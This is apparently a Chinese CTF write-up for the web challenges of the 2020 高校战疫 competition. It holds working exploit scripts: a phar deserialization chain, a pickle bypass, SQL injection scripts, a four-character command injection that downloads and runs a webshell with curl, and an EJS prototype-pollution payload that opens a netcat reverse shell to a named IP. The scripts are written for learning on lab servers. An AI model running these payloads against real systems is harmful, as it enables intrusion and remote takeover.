高校战“疫”网络安全分享赛web部分题解

web题目很好,就是多的看都看不过来,别说做了 ,全程靠着师傅带,继续划水,记录下做题和复现

webct

扫描可以得到www.zip源码,题目打开的界面是这样

image-20200309092409185有两个功能,一个连接远程mysql数据库,一个图片上传,接下来审计源码

1
2
3
4
5
6
7
8
9
10
//testsql.php
<?php
error_reporting(0);
include "config.php";
$ip = $_POST['ip'];
$user = $_POST['user'];
$password = $_POST['password'];
$option = $_POST['option'];
$m = new db($ip,$user,$password,$option);
$m->testquery();

会把我们POST输入的ip、user、password、option传给db类去实例化$m。看下db类的代码

image-20200309093110063

然后看文件上传的源码

1
2
3
4
5
6
7
8
9
10
11
12
//filestore.php
<?php
error_reporting(0);
include "config.php";
//var_dump($_FILES["file"]);
$file = new File($_FILES["file"]);
$fileupload = new Fileupload($file);
$fileupload->deal();
echo "存储的图片:"."<br>";
$ls = new Listfile('./uploads/'.md5($_SERVER['REMOTE_ADDR']));
echo $ls->listdir()."<br>";
?>

会把我们上传的文件传给File类去实例化,然后将$file变量传给Fileupload类去实例化,调用$fileupload的deal方法,然后又实例化Listfile,调用$ls的listdir方法,看下源码

  • File类

image-20200309093951334

功能很简单

  • Fileupload类

image-20200309093716970

白名单机制,应该是不能传马。

  • Listfile类

image-20200309093901396

神奇的__call()魔法函数,竟然可以执行命令,那就是反序列化实锤了,全局搜索都找不到serialise()函数,怎么触发反序列化呢,之前还有一个连接mysql的功能,想起之前的那篇CSS-T | Mysql Client 任意文件读取攻击链拓展的文章

image-20200309100302528

刚好和之前的图片上传结合,在vps上搭一个Rogue-mysql-server,(怎么用就不介绍了,上文写的很清楚)去读上传的phar文件,触发反序列化,欧克。

我们可以通过之前post传的option变量来启用LOAD LOCAL INFILE

image-20200309101105263然后开始输入MYSQLI_OPT_LOCAL_INFILE

image-20200309103020545

但是没有回显,但是服务器端没有读到文件,然后在本地进行测试,我们直接把option变成MYSQLI_OPT_LOCAL_INFILE发现在服务器端是可以读到文件的,

image-20200309104511384

这样设置了之后是可以读到文件的,

image-20200309110611932

但是如果我们这样

image-20200309110803039

是不能读到文件的

image-20200309110936451

后来去查php的手册看到

image-20200309111041201

option是int型的,然后就去查了php的常量表,MYSQLI_OPT_LOCAL_INFILE是8。

然后把option改成8试试

image-20200309111228502

可以读到文件

image-20200309111401976

然后去生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
/**
* Created by PhpStorm.
* User: admin
* Date: 2020/3/8
* Time: 10:11
*/

class Fileupload
{
public $file;
function __construct($file)
{
$this->file = $file;
}
function __destruct()
{
$this->file->xs();
}
}
class Listfile
{
public $file;
function __construct()
{
$this->file="/ ;/readflag";
}
function __call($name, $arguments)
{
echo "ls ".$this->file;
system("ls ".$this->file);
}
}
//unserialize('O:10:"Fileupload":1:{s:4:"file";O:8:"Listfile":1:{s:4:"file";s:1:"/";}}');
@unlink("dedecms.phar");
$phar = new Phar("dedecms.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$a=new Listfile();
$b=new Fileupload($a);
echo serialize($b);
$phar->setMetadata($b); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

然后将生成的phar文件改名,传上去,可以看到文件名 ,结合源码里的路径

image-20200309111822509

我们修改vps上Rogue-mysql-server读文件的名称,

image-20200309112111030

之后连接远程mysql服务器,触发反序列化

image-20200309112354943

然后flag就来了。

image-20200309112642322

webtmp

考点:python 反序列化

这题是原题,然而我开始并没有找到。。2019-SJTU-PICKLE-Revenge,比赛直接py脚本,跑的,比完赛得好好分析

题目直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"

sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

源码的流程大体是这样,只有一个路由,会把我们输入的data,先base64解码,然后禁止我们输入R,我们在平常通过pickle反序列化的时候,如果执行命令的话,一般都会用到__reduce__,他在序列化的时候就会生成R.

image-20200309114250845

所以这里不能用这个方法了,继续看源码,将base64解码后的数据反序列化,这里重写了find_class()函数

image-20200309114949544

限制了我们使用的module只能是__main__,继续看源码,

image-20200309115124804

将反序列化的结果和secret比对,如果相同就可以得到flag。这里参考了大师傅的文章

image-20200309120952732

我们把上面的blue换成secret,就是解法了,然后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import pickle
import pickletools
import base64

class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category

x= Animal("mount4in","www")
s= pickle.dumps(x)
#s= base64.b64decode("gANjX19tYWluX18KQW5pbWFsCnEAKYFxAX1xAihYBAAAAG5hbWVxA1gUAAAA5LiA57uZ5oiR5ZOpZ2lhb2dpYW9xBFgIAAAAY2F0ZWdvcnlxBVgEAAAAR2lhb3EGdWIu")
print(s)


a=b'\x80\x03c__main__\nsecret\n}(Vname\nVmount4in\nVcategory\nVwww\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameq\x03X\x08\x00\x00\x00mount4inq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00wwwq\x06ub.'
print(a)
pickletools.dis(a)
print(base64.b64encode(a))

可以看到已经成功篡改。

image-20200309125821513

1
gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVm1vdW50NGluClZjYXRlZ29yeQpWd3d3CnViMGNfX21haW5fXwpBbmltYWwKKYF9KFgEAAAAbmFtZXEDWAgAAABtb3VudDRpbnEEWAgAAABjYXRlZ29yeXEFWAMAAAB3d3dxBnViLg==

然后输入就得到flag

image-20200309125431028

nweb

打开之后一个登录界面,可以注册,一定要养成习惯性右键查看源代码的习惯。

image-20200309130212897

可以看到隐藏了type,burp发包

image-20200309130514215

注册成功,登录进去看看有个search.php,可以输入,试试注入

image-20200309130823052

明显得注入,然后写脚本跑,竟然跑不出来报错,后来又测出来过滤了select from,只是简单得替换为空,双写就可以绕过。

贴上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# encoding=utf-8
import requests
flag= ''
url = 'http://121.37.179.47:1001/search.php'
Cookie = {'PHPSESSID':'huiulsnkb5bpm59h6v38o1qlv1;',
'username':'41fcba09f2bdcdf315ba4119dc7978dd'}
proxies = {
"http": "http://127.0.0.1:8080",
}
#erfenfa
for i in range(1,50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload=r"1' or 1=(ascii(mid((selselectect group_concat(column_NAME) frfromom information_schema.columnS where table_name='admin'),{},1))>{})#"
payload=r"1' or 1=(ascii(mid((selselectect pwd frfromom admin limit 1),{},1))>{})#"
url_1=url+payload.format(i,mid)
data={"flag":payload.format(i,mid)}
r=requests.post(url,data=data,cookies=Cookie,proxies=proxies)
print(r.content)
if b"is flag" in r.content:
low=mid+1
else:
high=mid
mid=(low+high)//2
print(flag)
flag+=chr(mid)

#admin,fl4g,jd,user
#flag{Rogue-MySql-Server-is-nday} number,submission_date,shifumoney username,pwd,qq

可以查出有半个flag。。。。。。。。。。。。。。。

image-20200309131731424

然后看这半个flag可以猜到要用Rogue-mysql-server了,但是需要有一个连接mysql的地方,之后找那里可以连接mysql,dirsearch爆破目录

image-20200309132145028

有一个admin.html,应该是后台了,需要管理员的账号,然后去数据库里面注,可以得到admin的密码e2ecea8b80a96fb07f43a2f83c8b0960

image-20200309131535198

md5解密后是whoamiadmin

然后登进去image-20200309132350796

刚刚好,vps上运行rogue-mysql-server,读服务器文件

image-20200309132653295

比较考验眼力

image-20200309132919770

两个一拼上就欧克了。

sqlcheckin

考点 :sql

这是个原题,直接搜就出来了

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
// ...
$pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
$stmt->execute();
$result = $stmt->fetchAll();
if (count($result) > 0) {
if ($result[0]['username'] == 'admin') {
include('flag.php');
exit();
// ....

绕过登录就可以,尝试万能密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select * from products where name='a'-0 -'';
+----------+-----------------------------------+-------------+
| name | secret | description |
+----------+-----------------------------------+-------------+
| facebook | ddddddddddddddddddddddddddddddddd | flag |
| facebook | fdddddddddddddddddddddddddddddddd | azzz |
+----------+-----------------------------------+-------------+
2 rows in set, 3 warnings (0.00 sec)

mysql> select * from products;
+----------+-----------------------------------+-------------+
| name | secret | description |
+----------+-----------------------------------+-------------+
| facebook | ddddddddddddddddddddddddddddddddd | flag |
| facebook | fdddddddddddddddddddddddddddddddd | azzz |
+----------+-----------------------------------+-------------+
2 rows in set (0.00 sec)

通过上面这种形式绕过。

密码:‘-0-’

image-20200309134804035

hackme

考点: session反序列化 四位字符命令执行写shell

题目给了源码,

1
2
3
4
5
6
7
//profile.php
<?php
error_reporting(0);
session_save_path('session');
include 'lib.php';
ini_set('session.serialize_handler', 'php');
session_start();

看到这里设置了session.serialize_handler为php

1
2
3
php  键名 竖线 serialize后的内容
php_serilaize serilize后的内容
php_binary 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

形成原理是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时 “|”会被当成键值对的分隔符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
session_save_path('session');
include 'lib.php';
ini_set('session.serialize_handler', 'php');
session_start();

class info
{
public $admin;
public $sign;

public function __construct()
{
$this->admin = $_SESSION['admin'];
$this->sign = $_SESSION['sign'];

}

public function __destruct()
{
echo $this->sign;
if ($this->admin === 1) {
redirect('./core/index.php');
}
}
}
$a = new info();
$a->admin=1;
echo serialize($a);
//O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";N;}

然后登录,设置sign为

|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";N;}

就可以看到

image-20200309145414327

这里前半部分是改的bytectf的boringcode,把baidu.com改成了127.0.0.1.

image-20200309145802597

参考

这里可以利用compress.zlib://data:@127.0.0.1/plain;绕过

然后后半部分是四位字符写shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#-*-coding:utf8-*-
import requests as r
from time import sleep
import random
import base64

target = 'http://121.36.222.22:88/'

# 存放待下载文件的公网主机的IP
shell_ip = '144.34.200.151'

# 本机IP
#your_ip = r.get('http://ipv4.icanhazip.com/').text.strip()

# 将shell_IP转换成十六进制
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2)) for i in shell_ip.split('.')])

reset = target + 'core/clear.php'


# payload某些位置的可选字符
pos0 = random.choice('efgh')
pos1 = random.choice('hkpq')
pos2 = 'g' # 随意选择字符

payload = [
'>dir',
# 创建名为 dir 的文件

'>f\\>', #% pos0,
# 假设pos0选择 f , 创建名为 f> 的文件

'>%st-' % pos1,
# 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
# 因为alphabetical序中t>s

'>sl',
# 创建名为 >sl 的文件;到此处有四个文件,
# ls 的结果会是:dir f> kt- sl

'*>v',
# 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
# 前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
# 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符

'>rev',
# 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v

'*v>%s' % pos2,
# 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。
# 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f

# 续行分割 curl 0x11223344|php 并逆序写入
'>p',
'>ph\\',

'>1.\\',
'>\\>\\',
#'>%s\\' % ip[8:10],

#'>%s\\' % ip[6:8],

#'>%s\\' % ip[4:6],
#'>%s\\' % ip[2:4],
#'>%s\\' % ip[0:2],
#'>77\\',
#'>88\\',
#'>:\\',
'>xx\\',
'>x.\\',
'>x\\',
'>xx\\',
'>xx\\',
'>xx\\',
'>\ \\',
'>rl\\',
'>cu\\',

'sh\x3c' + pos2,
# sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,
# 虽然 f 的文件头部会有杂质,但不影响有效命令的执行
'sh\x3c' + 'f',
# sh f 执行curl命令,下载文件,写入木马。
]
payload1="compress.zlib://data:@127.0.0.1/plain;base64,{0}"
cookie={"PHPSESSID":"38240b1ae7b72a9837ce059cd0640347"}
s = r.get(reset)
print s.text
for i in payload:
assert len(i) <= 4
data={"url":payload1.format(base64.b64encode(i))}
s = r.post(target+"core/index.php",data=data,cookies=cookie)
print '[%d]' % s.status_code, payload1.format(i)
print s.text
sleep(0.1)
#s = r.get(sandbox + 'fun.php?cmd=uname -a')
#print '[%d]' % s.status_code, s.url
#print s.text

参考

这里开始尝试了半天,没有成功,1.php中写不进去东西,开始是用${IFS}绕过的空格,可能,目标服务器不支持吧,或者其他地方姿势不对吧,后来看队友的脚本直接用base64编码传就ok了,然后在vps上放好马,下载运行

image-20200309151829834

dooog

题目给了源码,三个头的狗,一看源码确实是三个头,开了三个服务,可以执行whoami和ls命令,但是没有回显,然后审计源码,过滤命令执行的地方在kdc/app.py

image-20200309162853834

这里显示判断int(time.time())-data[‘timetamp’]<60才进行对cmd的检查,如果这里可以使int(time.time())-data[‘timetamp’]>60的话,那么就可以绕过检查执行其他命令了。

我们在本地试下int(time.time())执行情况

image-20200309163211695

然后回溯看data[‘timetamp’]变量,它来自post传来的authenticator,继续往前看

image-20200309163440276

那么如果我们可以通过修改timestamp就可以得到flag了,然后修改app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask, request, render_template, redirect, url_for, session, flash
from flask_bootstrap import Bootstrap
from form import RegisterForm, CmdForm
from toolkit import AESCipher
import os, requests, json, time, base64

app = Flask(__name__)
app.config["SECRET_KEY"] = os.urandom(32)
bootstrap = Bootstrap(app)

@app.route('/')
def index():
return render_template('index.html', form='')

@app.route('/cmd', methods=['GET', 'POST'])
def cmd():
form = CmdForm()
if request.method == 'GET':
return render_template('index.html', form=form)
elif request.method == 'POST':
if form.validate_on_submit():
username = form.username.data
master_key = form.master_key.data
cmd = form.cmd.data
cryptor = AESCipher(master_key)
authenticator = cryptor.encrypt(json.dumps({'username':username, 'timestamp': int(time.time())}))
res = requests.post('http://121.37.164.32:5001/getTGT', data={'username': username, 'authenticator': base64.b64encode(authenticator)})
if res.content == 'time error':
flash('time error')
return redirect(url_for('index'))
if res.content.startswith('auth'):
flash('auth error')
return redirect(url_for('index'))
session['session_key'], session['TGT'] = cryptor.decrypt(base64.b64decode(res.content.split('|')[0])), res.content.split('|')[1]
flash('GET TGT DONE')
#visit TGS
cryptor = AESCipher(session['session_key'])
authenticator = cryptor.encrypt(json.dumps({'username': username, 'timestamp': 666}))
res = requests.post('http://121.37.164.32:5001/getTicket', data={'username': username, 'cmd': cmd, 'authenticator': base64.b64encode(authenticator), 'TGT': session['TGT']})
if res.content == 'time error':
flash('time error')
return redirect(url_for('index'))
if res.content.startswith('auth'):
flash('auth error')
return redirect(url_for('index'))
if res.content == 'cmd error':
flash('cmd not allow')
return redirect(url_for('index'))
flash('GET Ticket DONE')
client_message, server_message = res.content.split('|')
session_key = cryptor.decrypt(base64.b64decode(client_message))
cryptor = AESCipher(session_key)
authenticator = base64.b64encode(cryptor.encrypt(username))
res = requests.post('http://121.37.164.32:5002/cmd', data={'server_message': server_message, 'authenticator': authenticator})
return render_template('index.html', form='', flag=res.content)
return render_template('index.html', form=form)
else:
return 'error' , 500

@app.route('/register', methods=['GET','POST'])
def register():
form = RegisterForm()
if request.method == 'GET':
return render_template('index.html', form=form)
elif request.method == 'POST':
if form.validate_on_submit():
username = form.username.data
master_key = form.master_key.data
res = requests.post('http://121.37.164.32:5001/register', data={'username': username, 'master_key': master_key})
if res.content == 'duplicate username':
return redirect(url_for('register'))
elif res.content != '' :
session['id'] = int(res.content)
flash('register success')
return redirect(url_for('index'))
return render_template('index.html', form=form)
else:
return 'error' , 500

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port = 5000)

image-20200309164217294

fmkq

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
$begin = "The number you want: ";
extract($_GET);
if($head == ''){
die('Where is your head?');
}
if(preg_match('/[A-Za-z0-9]/i',$head)){
die('Head can\'t be like this!');
}
if(preg_match('/log/i',$url)){
die('No No No');
}
if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
die('Don\'t use strangerotocol!');
}
$funcname = $head.'curl_init';

$ch = $funcname();
if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
}
else{
$output = 'rua';
}
echo sprintf($begin.'%d',$output);
}
else{
show_source(__FILE__);
}

这里会把$head和curl_init拼接到$filename,如果有非法字符,服务器会500,然后fuzz出\可以绕过

image-20200309165446550)然后结合extract()和sprintf()可以将我们curl到的output数据显示出来,形如

image-20200309174422589

然后探测内网开的端口,

image-20200309174334659

发现8080端口开了服务,这题复现时环境关了,考点是python的格式化字符串漏洞贴一下payload吧,

1
http://121.37.179.47:1101/?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={file.__init__.__globals__[vip].__init__.__globals__}%26vipcode=0
1
http://121.37.179.47:1101/?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={vipfile.__class__.__init__.__globals__[__name__][9]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=kWSRgrZO9VjAJzaHsIwqXEtfF5u6GxM0ov74le18hcNnUpd3

PHP-UAF

1
2
3
4
5
6
7
8
9
10
11
<?php

$sandbox = '/var/www/html/sandbox/' . md5("wdwd" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (isset($_REQUEST['cmd'])) {
@eval($_REQUEST['cmd']);
}

highlight_file(__FILE__);

直接cmd=1;eval($_POST[‘cmd’]);

蚁剑连上,直接读flag。这题很迷,有时可以有时不可以

image-20200309183007889

image-20200309182916595

easy_trick_gzmtu

这题真的是神了。。。。。。。。。。。。。。。。

这题提示了time=2020,然后开始测注入,

image-20200310081344799

注入之后很奇怪感觉有些字母被替换成了数字,

1
?time=202'%20||%20t%23

通过以上可以得到,不是替换为空,然后burp开始fuzz

1
2
大写  BGHILNOUWYZ
小写 dghijmnostuwyz

这些字符会被替换为数字,开始以为只要不用这里的字符就不会被替换,然后用了

1
?time=202'%20||%20lefT('22',1)='2'%23

还是会500,那么就不光是之前的那些字符会被替换了,猜测所有的字符都被替换了,比赛时候就卡在这了,然后又试了半天协议走私,没做出来,后来看了wp后,原来如此。。。。。。。。。

赛后分析:应该没有waf会把每个字符都替换掉,然后这里注释里写道time=Y,那么后端可能会用处理时间日期的格式或函数来处理我们的输入,然后就应该去查查mysql和php的日期处理函数,然后看到php的date()函数,

image-20200310082313115

和之前的一比对确实是把那些字符替换成了数字,然后继续看这个函数,

image-20200310082541235

可以这样,那么就直接联合查询注入了,

1
/?time=202'%20\u\n\i\o\n%20\s\e\l\e\c\t%201,\g\r\o\u\p\_\c\o\n\c\a\t(\t\a\b\l\e\_\n\a\m\e),3\%20\f\r\o\m%20\i\n\f\o\r\m\a\t\i\o\n_\s\c\h\e\m\a.\t\a\b\l\e\s%20\w\h\e\r\e\%20\t\a\b\l\e\_\s\c\h\e\m\a\=\d\a\t\a\b\a\s\e()%23 HTTP/1.1

image-20200309201606004

1
/?time=202'%20\u\n\i\o\n%20\s\e\l\e\c\t%201,\g\r\o\u\p\_\c\o\n\c\a\t(\c\o\l\u\m\n_\n\a\m\e),3\%20\f\r\o\m%20\i\n\f\o\r\m\a\t\i\o\n_\s\c\h\e\m\a.\c\o\l\u\m\n\s%20\w\h\e\r\e\%20\t\a\b\l\e\_\s\c\h\e\m\a\=\d\a\t\a\b\a\s\e()%23

image-20200309201834389

列名:id,username,passwd,url,id,content,createtime

image-20200309201948631

字段值 :username admin passwd 20200202goodluck url /eGlhb2xldW5n

image-20200309202335757

然后跳到 http://121.37.181.246:6333/eGlhb2xldW5n/check.php

image-20200309202419211

这里可以查询内部的文件,加上localhost就可以绕过,

image-20200309202924096

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

class trick{
public $gf;
public function content_to_file($content){
$passwd = $_GET['pass'];
if(preg_match('/^[a-z]+\.passwd$/m',$passwd))
{

if(strpos($passwd,"20200202")){
echo file_get_contents("/".$content);

}

}
}
public function aiisc_to_chr($number){
if(strlen($number)>2){
$str = "";
$number = str_split($number,2);
foreach ($number as $num ) {
$str = $str .chr($num);
}
return strtolower($str);
}
return chr($number);
}
public function calc(){
$gf=$this->gf;
if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
eval('$content='.$gf.';');
$content = $this->aiisc_to_chr($content);
return $content;
}
}
public function __destruct(){
$this->content_to_file($this->calc());

}

}
unserialize((base64_decode($_GET['code'])));

?>

这里有一个反序列化,触发__destruct()函数,然后调用content_to_file()函数,$gf里面不能有字母数字和其他一些符号,把gf赋给content后,调用aiisc_to_chr()函数,以两位为单位分割成一个数组,依次取数组中的内容放到chr()里面,之后进行拼接,然后变成小写,送到content_to_file中,pass变量通过换行就可以绕过,$gf通过取反来绕过,后面有变小写的操作,那么传过去FLAG就可以了,把FLAG按chr()逆过来就是

image-20200310135900470

70766571,那么我们就要让content等于这个,但又过滤了字母和数字,可以这样

image-20200310140052720

然后

1
2
3
4
5
6
7
<?php 
class trick {
// $gf = "70766571";
public $gf = "~\C8\xCF\xC8\xC9\xC9\xCA\xC8\xCE";
}
$trick = new trick();
echo base64_encode(serialize($trick));
image-20200309210747399

guess game

看到log函数里面有merge,那么可以原型链污染了

1
2
3
4
5
function log(userInfo){
let logItem = {"time":new Date().toString()};
merge(logItem,userInfo);
loginHistory.push(logItem);
}

然后post/路由中调用了log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//So terrible code~
app.post('/',function (req, res) {
if(typeof req.body.user.username != "string"){
res.end("error");
}else {
//console.log(req.body.user.username);
if(config.forbidAdmin && req.body.user.username.includes("admin")){
res.end("any admin user has been baned");
}else {
if(req.body.user.username.toUpperCase() === adminName.toUpperCase())
//only log admin's activity
log(req.body.user);
res.end("ok");
}
}
});

需要满足输入的username的大写要等于 “admin888”的大写,利用javascript的大小写特性,就可以绕过,然后试了试之前ejs模板的反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url="http://121.37.167.12"
proxy={"http":"http://127.0.0.1:8080"}

r=requests.post(url,json={"user":{"username":"admIn888","__proto__":{"enableReg":True,"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 144.34.200.151 9999 >/tmp/f ');var __tmp2"}}},proxies=proxy)
print r.text
r=requests.get(url,proxies=proxy)
print r.textimport requests
url="http://121.37.167.12"
proxy={"http":"http://127.0.0.1:8080"}

r=requests.post(url,json={"user":{"username":"admIn888","__proto__":{"enableReg":True,"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 144.34.200.151 9999 >/tmp/f ');var __tmp2"}}},proxies=proxy)
print r.text

竟然可以

image-20200309222006644

happy vacation

在本地测试一下,把他的注释去掉,提示说重点在选择那里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
class Asker{

public $question;
public $right;
public $answer;
public $times = 0;
public $A = True;
public $B = True;
public $C = True;
public $D = True;
public $message = "大郎快醒醒,老师叫你回答问题啦!";

function __construct(){
$this->question = "what is your problem?";
$this->right = "A";
$this->answer_list = ['A', 'B', 'C', 'D'];
}

function answerList(){
return $this->answer_list;
}

function mes(){
return $this->message;
}

function updateList(){
$this->answer_list = [];
$this->A ? array_push($this->answer_list, "A") : "";
$this->B ? array_push($this->answer_list, "B") : "";
$this->C ? array_push($this->answer_list, "C") : "";
$this->D ? array_push($this->answer_list, "D") : "";
$this->message = "这都能答错,再给你一次机会!";
}

function answer($user, $answer){
$this->user = clone $user;
if($this->right == $answer){
$this->message = "clever man!";
return 1;
}
else{
if(preg_match("/[^a-zA-Z_\-}>@\]*]/i", $answer)){
$this->message = "no no no";
}
else{
if(preg_match('/f|sy|and|or|j|sc|in/i', $answer)){
// Big Tree 说这个正则不需要绕
$this->message = "what are you doing bro?";
}
else{
eval("\$this->".$answer." = false;");
$this->updateList();
}
}
$this->times ++;
return 0;
}
}

function times(){
return $this->times;
}
}

有一个eval的操作,然后测试能把blacklist置为false,

image-20200309223348604

image-20200309223311442然后就传个php文件到upload目录,路径从upload函数也可以知道,应该非预期了。

image-20200309223544545

nothardweb

利用之前的mt_rant()函数间隔226个随机数的两个数可以得到seed,

image-20200309233302645

接下来审计源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
session_start();
error_reporting(0);
include "user.php";
include "conn.php";
$IV = "********";// you cant know that;
if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){
if(!isset($_SESSION['key'])){
$_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
$_SESSION['iv'] = $IV;
}
$username = "guest";
$o = new User($username);
echo $o->show();
$ser_user = serialize($o);
$cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
setcookie("user", base64_encode($cipher), time()+3600);
setcookie("hash", md5($ser_user), time() + 3600);
}
else{
$user = base64_decode($_COOKIE['user']);
$uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']);
if(md5($uid) !== $_COOKIE['hash']){
die("no hacker!");
}
$o = unserialize($uid);
echo $o->show();
if ($o->username === "admin"){
$_SESSION['name'] = 'admin';
include "hint.php";
}
}

md5(openssl_encrypt(base64_decode($cookie['user']),'des-cbc',sessionkey,0,sessioniv))==cookie['hash']

可以看到我们第一次到这个页面,他会用第229个随机数和0x5f5e0ff异或,得到的值作为key,然后采用des-cbc的加密方式对序列化后的数据加密,然后我们可以通过之前的方式得到key,然后就是通过找到IV去伪造成admin,先介绍下des-cbc的加密方式,

img

